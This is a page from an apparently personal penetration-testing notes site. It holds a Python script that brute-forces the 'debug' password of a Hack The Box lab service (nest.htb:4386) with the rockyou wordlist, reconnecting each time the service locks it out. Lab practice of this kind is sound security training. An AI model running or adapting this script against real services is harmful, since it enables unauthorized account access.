Notes
  • 👀About me
  • â„šī¸Good Reads
  • 🌐Web
    • Web Pentesting Checklist
    • Insecure Deserialization
    • Blind XPath Injection
    • GraphQL
    • Reverse Shells
      • IIS
    • Content-Security-Policy
      • XSS (Static Nonce in CSP)
    • LLM (Large Language Models)
  • 📘Windows API
    • C# - P/Invoke
  • ☕Miscellaneous Topics
    • Phishing with Gophish
    • Pentest Diaries
      • SQL Queries via Grafana
      • LDAP Pass Back Attack
      • Misconfigured File Upload to RCE
  • 🧃Hack The Box
    • Intelligence
    • Seal
    • Under Construction
    • Previse
    • Return
    • Sauna
    • Nest
  • 📕TryHackMe
    • Wordpress CVE-2021-29447
    • Attacktiv
    • Fortress
    • internal
  • đŸ› ī¸Cheatsheet
    • Anti-Forensic Techniques
    • JSON - jq
    • Docker
    • Hidden Secrets
    • Database Exploitation
      • PostgreSQL
        • Blind SQLi script
      • SQL Server
    • C Sharp
    • Reversing
      • Windows
    • SSH
    • Python
      • Miscellaneous Scripts
        • Credential Bruteforcing a CLI service
    • Privilege Escalation
      • Windows
    • socat
    • OSINT
      • Shodan
    • Installation
Powered by GitBook
On this page

Was this helpful?

  1. Cheatsheet
  2. Python
  3. Miscellaneous Scripts

Credential Bruteforcing a CLI service

#!/usr/bin/python3
# Note: Multithreading support to be added

import socket
import sys
import codecs

# Wordlist
temp=''
with codecs.open('/usr/share/wordlists/rockyou.txt', 'r', encoding='utf-8',errors='ignore') as fdata:
        temp=fdata.read()
wl=temp.split('\n')

# Creation of new socket when the current socket connection gets closed due to multiple incorrect password attempts
def createSocket():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(0.5)
        s.connect(('nest.htb',4386))
        return s

# Bruteforce
def bruteforce(flag,p,s):
        # Flags are used to check for the mode i.e. banner[0]/bruteforce[1]
        if flag==1:
                tmp='debug '+p+'\r\n'
                s.sendall(tmp.encode())
        # Checks if the socket has been closed
        sc=0
        while True:
                try:
                        data=s.recv(1024)
                        print('Password:',p,'|| Response:',data)
                        if ('too many failed' in str(data).lower()):
                                print('----Socket Closed----')
                                s.close
                                return('closed')
                except:
                        #print('--2',sys.exc_info()[0])
                        break

#Main
sck=createSocket()
# Service Banner is printed when connected
bruteforce(0,'0',sck)
# i = [1,total no. of passwords in wordlist]
i=1
totalpwds=len(wl)
# Loop
while i <= totalpwds:
        p=wl[i-1]
        op=bruteforce(1,p,sck)
        print('[DEBUG] Socket Status:',op,'Passwords Done:',i)
        # If socket is closed, create a new one
        if op=="closed":
                print('----Creating new socket----')
                sck=createSocket()
                # Service Banner is printed when connected
                bruteforce(0,'0',sck)
        i=i+1
#s.close()
PreviousMiscellaneous ScriptsNextPrivilege Escalation

Last updated 2 years ago

Was this helpful?

đŸ› ī¸